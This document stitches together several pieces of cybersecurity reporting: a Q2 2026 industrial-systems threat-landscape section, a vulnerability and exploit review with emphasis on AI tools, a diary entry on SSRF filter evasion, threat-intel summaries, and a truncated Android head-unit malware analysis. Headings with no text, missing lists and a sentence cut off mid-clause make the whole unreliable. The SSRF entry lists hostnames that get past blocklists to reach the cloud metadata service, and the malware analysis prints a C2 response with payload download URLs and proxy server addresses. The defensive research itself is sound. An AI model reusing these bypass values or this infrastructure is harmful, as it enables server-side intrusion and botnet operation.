In the Q2 2026 ranking of malicious object categories by the percentage of attacked ICS computers, denylisted internet resources returned to second place.

In April 2026, the percentage of ICS computers on which denylisted internet resources were blocked was the highest it had been in the last year.

In Q2 2026, Russia ranked first among the regions in terms of the percentage of ICS computers on which denylisted internet resources were blocked for the first time in two years.

Malicious scripts and phishing pages (JS and HTML)

Malicious actors use scripts for a wide range of objectives: from collecting information, tracking, and redirecting the user’s browser to a malicious web resource to uploading various types of malware (e.g., spyware, silent crypto mining tools, and ransomware) to the user’s system or browser. They spread via the internet and email.

Malicious documents (MSOffice + PDF)

Attackers mainly send malicious documents attached to phishing messages and use them in attacks aimed at the initial infection of computers. Malicious documents typically contain exploits, malicious macros, and links to malware.

Malicious documents, especially those using zero-day exploits, remain a popular vector for targeted attacks. In 2025, CISA released more than 450 security advisories, many of which concerned file handling, including popular document formats.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware to victims’ machines. As a rule, this is spyware, ransomware, and miners. Typically, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

Spyware

Spyware (Trojans, backdoors, and keyloggers) can be found in lots of phishing emails sent to industrial organizations. Spyware is the most frequently detected next-stage malware. It is used as a tool for the intermediate stages of a cyberattack (for example, reconnaissance and lateral movement) or in the final stage of the attack to steal and exfiltrate confidential data. The ultimate goal of most spyware attacks is to steal money, but spyware is also used in targeted attacks for cyberespionage.

Spyware is also used to steal information needed to deliver other types of malware, such as ransomware and silent cryptocurrency mining tools, and to prepare for targeted attacks.

Detection of spyware on an ICS computer usually indicates that the initial infection vector succeeded, whether it was clicking on a malicious link, opening an attachment from a phishing email, or connecting an infected USB drive. This points to the absence or ineffectiveness of measures to protect the OT network perimeter (such as monitoring the security of network communications and implementing policies on the use of removable media).

In Q2 2026, the percentage of ICS computers on which spyware was blocked was the lowest since 2022.

Ransomware

Miners in the form of executable files for Windows

In addition to “classic” miners — applications written in .NET, C++, or Python and designed for surreptitious crypto mining — new forms are emerging. Popular “fileless” execution techniques continue to be adopted by threat actors, including those who implant crypto miners on OT machines.

A significant portion of Windows miners found on ICS computers consists of archives with names that mimic legitimate software. These archives contain no actual software but include a Windows LNK file, commonly known as a shortcut. However, the target (or path) that the LNK file points to is not a legitimate application but rather a command that can execute malicious code, such as a PowerShell script. Attackers are increasingly using PowerShell with malware code (including miners) embedded in the command line arguments and executed entirely in memory, i.e., via fileless execution. The fileless execution of a miner makes it difficult for security tools to detect.

Another common method for deploying miners in the OT infrastructure involves using legitimate cryptocurrency mining software such as XMRig, NBMiner, OneZeroMiner, etc. While these miners are not inherently malicious, security systems classify them as RiskTools. Attackers exploit these miners by combining them with customized configuration files that enable the miner’s activity to be concealed from the user.

Web miners

In June 2026, the monthly percentage figure of web miners, as well as miners in the form of executable files for Windows, was the lowest in three years.

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders, propagating as infected files, such as archives containing backups, office documents, pirated games, and hacked applications. In rarer and more dangerous cases, infected objects include web pages with network equipment settings or files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems, and other intranet services.

Most worms and viruses detected on removable media are either variants of outdated polymorphic threats (which appeared around 2010) or modern modular cryptocurrency miners.

It should be kept in mind that some worms and viruses spread through active techniques, such as password brute-force attacks, theft and use of user authentication data (including access tokens), and network attacks on vulnerable software, all of which have long been part of the modular toolkit of any modern worm-miner.

Modern versions of worms are not often found in ICS networks, but the damage caused by an infection is always significant: even basic maintenance of a network infected with worm-miners becomes several times more expensive due to longer downtime and the additional man-hours required to restore performance. And if a worm is used to download ransomware to a computer in an OT network after preliminary profiling, the cost is exponentially higher.

At the same time, a significant part of the viruses and worms that spread today are legacy modifications whose command-and-control servers have been shut down. However, these types of malware can not only compromise infected systems, for example, by opening network ports and changing configurations, but also cause software failures, denial of service, etc.

High percentage figures for self-propagating malware and malware spreading via network folders at the industry, country, or regional level likely indicate the presence of unprotected OT infrastructure that lacks even basic endpoint protection. These unprotected computers become sources of malware propagation. The situation may be exacerbated by weak segmentation of the enterprise network and a lack of control over the use of removable media.

Worms

Viruses

Malware for AutoCAD

This category of malware can spread in various ways, so it does not belong to a specific group.

Malware for AutoCAD is typically a low-level threat, which ranks last in the malware category rankings by the percentage of ICS computers on which it is blocked.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify a threat’s source. The type (category) of a blocked threat can be used as circumstantial evidence.

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable media remain the primary sources of threats to computers in organizations’ OT infrastructure.

In Q2 2026, the percentage of ICS computers on which threats from various sources were blocked increased only for email clients.

Internet

Detection and blocking of internet threats on ICS computers protected by Kaspersky products means that access to external services was allowed from these computers at the time of detection.

The main categories of threats from the internet* blocked on ICS computers in Q2 2026 were malicious scripts and phishing pages, and denylisted internet resources.

*It should be kept in mind that the same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the source of the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of threats from that source.

Email clients

Some detected and blocked threats are delivered to protected computers via the email delivery system and/or attempt to gain access through the email client application.

The main categories of email threats blocked on ICS computers in Q2 2026 were malicious scripts and phishing pages, spyware, and malicious documents. The percentage of computers on which worms from email clients were blocked increased.

Most of the spyware detected in phishing emails was delivered as a password-protected archive or a multi-layered script embedded in office document files.

Removable media

The main categories of threats blocked in Q2 2026 when removable media were connected to ICS computers were worms, viruses, and spyware.

Most worms and viruses detected on removable media are either variants of outdated polymorphic threats (which appeared around 2010) or modern modular cryptocurrency miners. These modern cryptocurrency miners can spread across local networks by stealing credentials from infected hosts, exploiting known but unpatched vulnerabilities, and performing brute-force attacks on network services.

Most of the spyware detected on removable media consisted of universal components of both modern and outdated worms, such as stealers, loaders, and AV killers.

Network folders

The main categories of threats distributed via network folders in Q2 2026 were viruses, malware for AutoCAD, worms, and spyware.

Methodology used to prepare statistics

This report presents the results of analyzing statistics obtained with the help of a distributed antivirus network called the Kaspersky Security Network (KSN). The data was received from KSN users who confirmed their voluntary consent to share data anonymously and to have it processed for the purposes described in the KSN Agreement for the Kaspersky product installed on their computer.

The benefits of joining KSN for our customers include faster response to previously unknown threats and a general improvement in the quality of detection by their Kaspersky installation, achieved by connecting to a cloud-based repository of malware data that is not transferable to the customer in its entirety by nature of its size and the amount of resources that it uses.

Data shared by the user contains only the data types and categories described in the appropriate KSN Agreement. This data helps to a significant extent in analyzing the threat landscape and serves as a prerequisite for detecting new threats, including targeted attacks and APTs1.

Statistical data presented in the report was obtained from ICS computers that were protected with Kaspersky products and categorized by Kaspersky ICS CERT as enterprise OT infrastructure. This group includes Windows computers that serve one or several of the following purposes:

Computers that share statistics with us belong to organizations from various industries. The most common are the chemical industry, metallurgy, ICS design and integration, oil and gas, energy, transport and logistics, the food industry, light industry, and pharmaceuticals. This also includes systems from engineering and integration firms that work with enterprises in a variety of industries, as well as building management systems, physical security, and biometric data processing.

We consider a computer as attacked if a Kaspersky security solution blocked one or more threats on that computer during the period under review: a month, six months, or a year, depending on the context, as can be seen in the charts above. To calculate the percentage of machines whose malware infection was prevented, we take the ratio of the number of computers attacked during the period under review to the total number of computers in the selection from which we received anonymized information during the same period.

The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.

Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.

This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.

We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.

Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.

As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.

This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.

Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:

Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.

Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% ()

Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.

All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:

The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% ()

In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.

The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.

We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.

In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.

In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.

Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.

This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.

As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 ()

As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:

TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026

Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.

Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:

It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.

Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.

TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 ()

This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.

The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.

If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:

It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.

The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.

The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.

In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.

This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.

Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.

Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.

The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.

Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.

It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.

Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.

Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.

It is pretty obvious that hostnames can replace IP addresses. Pretty much any software accepting an IP address will also accept a hostname as an argument. Last week, I wrote about scans for the cloud metadata service listening at 169.254.169.254. These scans attempted to exploit Server Side Request Forgery (SSRF) vulnerability. One way to prevent these types of exploits is to filter requests that contain the string "169.254.169.254" or to add this IP to a blocklist of URLs that should not be accessed.

But as is almost always the case, blocklists are not the solution you are looking for.

In response to last week's diary, Sean wrote that they saw attackers use hostnames instead of IP addresses. In particular:

169.254.169.254.nip.io
169-254-169-254.sslip.io
test.169.254.169.254.nip.io (or other prefixes instead of test)
make-1.1.1.1-rebind-169.254.169.254-rr.1u.ms
The last one, as Sean pointed out, is likely linked to the 1u.ms tool. This tool allows attackers to define hostnames "on the fly". It offers numerous options. For example, you can configure the IP address to change after a certain number of lookups or after a certain time. IP addresses can use various encoding/obfuscating formats. The tool can also be configured with a custom domain, but 1u.ms is ready to go.

1u.ms maintains public logs for all requests sent to it, so you can check if it was used against one of your systems. The last 100 requests can be found at http://1u.ms/last and the

Similar hostnames can likely be configured with many dynamic hosting services. If you do retain DNS logs (you should!!), Check whether any resolution resulted in IPs such as 169.254.169.254.

New malware that uses steganography always gets my attention, but I was disappointed when I looked at the latest DOUBLECUP write-up. It doesn't use real steganography:

You can see the PowerShell payload as cleartext: it has not been encoded into the pixels of the image.

It's even not embedded in the image (like inside the metadata), it's just appended after the PNG file:

The PowerShell script starts with 0x0D 0x0A, Carriage-Return + Newline: that terminates a line of text in Windows.

That makes that you don't need a custom payload extractor, you can just use the FINDSTR command (Windows' grep) with a unique identifier to extract the script:

Point Wild Threat Intelligence has recently identified a new .NET-based ransomware strain named PlikanLocker that blends file extortion with aggressive endpoint lockdown tactics. Distributed primarily through phishing attachments, malicious links, and social media lures, the malware targets general Windows environments by securing administrator rights via UAC prompts. Once running, the payload parallelizes the encryption of user data using AES-CBC, processing files in chunks and appending a new extension. The threat is highly notable for its reliance on the Telegram Bot API to quietly exfiltrate WMI system profiles, encryption statistics, and captured desktop screenshots. To maximize victim pressure, the malware completely disables standard Windows interface elements—hiding the taskbar and Start menu—and traps the user behind a fullscreen, retro-styled ransom note.

Attack chain decomposition: Phishing/Social Media Lure → .NET Executable Execution → UAC Privilege Escalation → Mutex Check (Single Instance) → AES-CBC File Encryption (.locked) → WMI Host Profiling & Screenshot Capture → Telegram Bot API Exfiltration → Windows UI Suppression (Desktop/Taskbar Hidden) → Fullscreen Ransom Note Display

Researchers at Gen Threat Labs recently reported a new malware family called WordlistLoader, which threat actors are utilizing to deliver the Amatera infostealer to a wide range of victims. According to their analysis, the attack begins on legitimate but compromised websites where visitors encounter a fake CAPTCHA prompt as part of a ClearFake campaign. When users attempt the verification, they are manipulated through a ClickFix social engineering flow into copying and executing a malicious command via the Windows Run dialog. This action initiates the download of WordlistLoader, a loader that evades analysis by reconstructing its malicious shellcode from an array of plain English words or UUIDs. Once executed, the loader ultimately drops an updated version of the Amatera stealer, which has recently incorporated stronger obfuscation and system evasion techniques to silently harvest sensitive credentials.

Attack chain decomposition: Compromised website → Malicious JavaScript overlay (Fake CAPTCHA) → ClickFix clipboard prompt → User-initiated CMD execution via Windows Run → Remote WebDAV share mapped via pushd → WordlistLoader DLL executed via rundll32 → Defense evasion (ETW bypass, module unhooking) → Shellcode reconstructed from English wordlist → Amatera Stealer unpacked and executed in memory

ANY.RUN has published a report on Mirage2FA, a commercial phishing-as-a-service (PhaaS) kit operated by LinX Coders that has been active between September 2024 and July 2026. Built to bypass multi-factor authentication and hijack Microsoft 365 sessions via an adversary-in-the-middle (AiTM) framework, the kit primarily targets organizations in the United States across the technology, manufacturing, and education sectors. Attackers deliver browser-executable attachments, such as HTML and SVG files, that leverage HTML smuggling and obfuscated JavaScript to retrieve a remote payload. Victims are presented with a reverse-proxied login page that intercepts credentials and one-time passcodes over a WebSocket connection. Once the user authenticates, the threat actors capture and exfiltrate the active session cookies, enabling unauthorized access to corporate resources without triggering additional MFA prompts.

Attack chain decomposition: Phishing email → .htm / .xhtml / .svg attachment → Browser execution of embedded stager → HTML smuggling / inline JavaScript execution → Remote loader retrieval → Fake Microsoft 365 login page presentation (AiTM reverse proxy) → Real-time credential relay over WebSocket → Authenticated session cookie exfiltration

Grandoreiro Banking Trojan Resurfaces With DLL Sideloading Campaign in Mexico

In a recent write-up, Acronis details a campaign demonstrating the geographic expansion of the Grandoreiro banking trojan from South America into Mexican financial, logistics, and industrial sectors. Distributed through tax- and invoice-themed phishing emails containing malicious ZIP archive attachments or direct download links, the attack chain lures victims into executing a heavily padded installer binary. The initial payload drops a combination of a signed, legitimate executable alongside a malicious dependency DLL to perform DLL sideloading. Once loaded, the DLL decrypts and launches the primary Grandoreiro payload in memory. This variant incorporates sophisticated anti-analysis controls, including string encryption, sandbox checks, and process monitoring, before establishing persistent communication with command-and-control servers to facilitate credential theft and online banking fraud.

Researchers at Cisco Talos recently reported on malicious campaigns conducted by the Chinese-speaking threat group UAT-10147 targeting Linux and Windows web servers across government, education, technology, media, and gaming sectors worldwide. The threat actor leverages publicly disclosed vulnerabilities to achieve initial access before deploying a multi-platform post-exploitation framework centered on SEO fraud monetization. Intrusion workflows feature the deployment of SPECTRE, a newly identified cross-platform backdoor capable of process injection, credential harvesting, anti-analysis, and kernel-level endpoint defense neutralization via Bring Your Own Vulnerable Driver (BYOVD) techniques. Operational infrastructure is further sustained using Linux kernel rootkits and in-memory web shells.

Jamf Threat Labs researchers recently reported on AmnesiaStealer, an advanced multi-stage macOS malware written in Rust. Threat actors have been distributing this malware via "ClickFix" social engineering tactics, leveraging deceptive GitHub download pages. Once executed, the stealer extracts system passwords using native-looking prompts, exfiltrates Keychain data, and sweeps local storage for sensitive files, Apple Notes, and Telegram sessions. It also attempts outdated macOS security bypasses to access restricted disk locations and Safari data. A defining trait of AmnesiaStealer is its handling of Chromium-based browsers. The malware overwrites existing encryption keys with attacker-controlled values, ensuring newly secured data remains decryptable by the operator.

Shown above: Fake CAPTCHA/verification page generatted by the SmartApeSG traffic, showing the injected ClickFix text to paste into a Run window.

While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.

Kaspersky solutions detect the threats described below under the following detection names:

Head unit firmware overview

A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.

In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.

Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.

It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.

During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.

The TWCore app

TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.

The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.

The APK file is downloaded to

<TWCore 
external cache dir>/push/apk/

for installation.

Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.

Next, we’ll break down the malware installed by TWCore: the JarService dropper.

Stage 1: the JarService dropper

As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.

In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.

Stage 2: the loader

This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:

In response to the POST request, the C2 server returns a link for downloading the stage 3 payload. An example of a C2 response is shown below.

{
"code": 200,
"data": [{
"productId": 979,
"script": "{\n \"loadType\": 1,\n \"reload\": true,\n \"method\": \"start\",\n \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n \"md52\": \"de77c3303e93c9450424759f1741441c\",\n \"name\": \"zhima\",\n \"className\": \"com.miyc.transfer.Client\",\n \"thread\": true,\n \"tagName\": \"loadlib2\",\n \"params\": [\n {\n \"type\": \"Context\"\n },\n {\n \"type\": \"String\",\n \"value\": \"107.151.248[.]132\"\n },\n {\n \"type\": \"String\",\n \"value\": \"1002\"\n },\n {\n \"type\": \"int\",\n \"value\": 1337\n },\n {\n \"type\": \"int\",\n \"value\": 7777\n },\n {\n \"type\": \"int\",\n \"value\": 8888\n },\n {\n \"type\": \"int\",\n \"value\": 15000\n }\n ],\n \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
"version": 1778650942
}, {
"productId": 1019,
"script": "{\n \"loadType\": 1,\n \"reload\": true,\n \"method\": \"start\",\n \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n \"md52\": \"de77c3303e93c9450424759f1741441c\",\n \"name\": \"zhima\",\n \"className\": \"com.miyc.transfer.Client\",\n \"thread\": true,\n \"tagName\": \"loadlib2\",\n \"params\": [\n {\n \"type\": \"Context\"\n },\n {\n \"type\": \"String\",\n \"value\": \"128.14.210[.]58\"\n },\n {\n \"type\": \"String\",\n \"value\": \"1002\"\n },\n {\n \"type\": \"int\",\n \"value\": 9999\n },\n {\n \"type\": \"int\",\n \"value\": 7777\n },\n {\n \"type\": \"int\",\n \"value\": 8888\n },\n {\n \"type\": \"int\",\n \"value\": 15000\n }\n ],\n \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
"version": 1766001509
}, {
"productId": 3505,
"script": "{\n\"tagName\":\"http\",\n\"url\":\"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}\"\n}",
"version": 1776656317
}],
"msg": ""
}

The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.

In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.

While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.

Stage 3: clicker / reverse proxy loader

In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.

If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.

At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.

However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.

While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.

Attribution

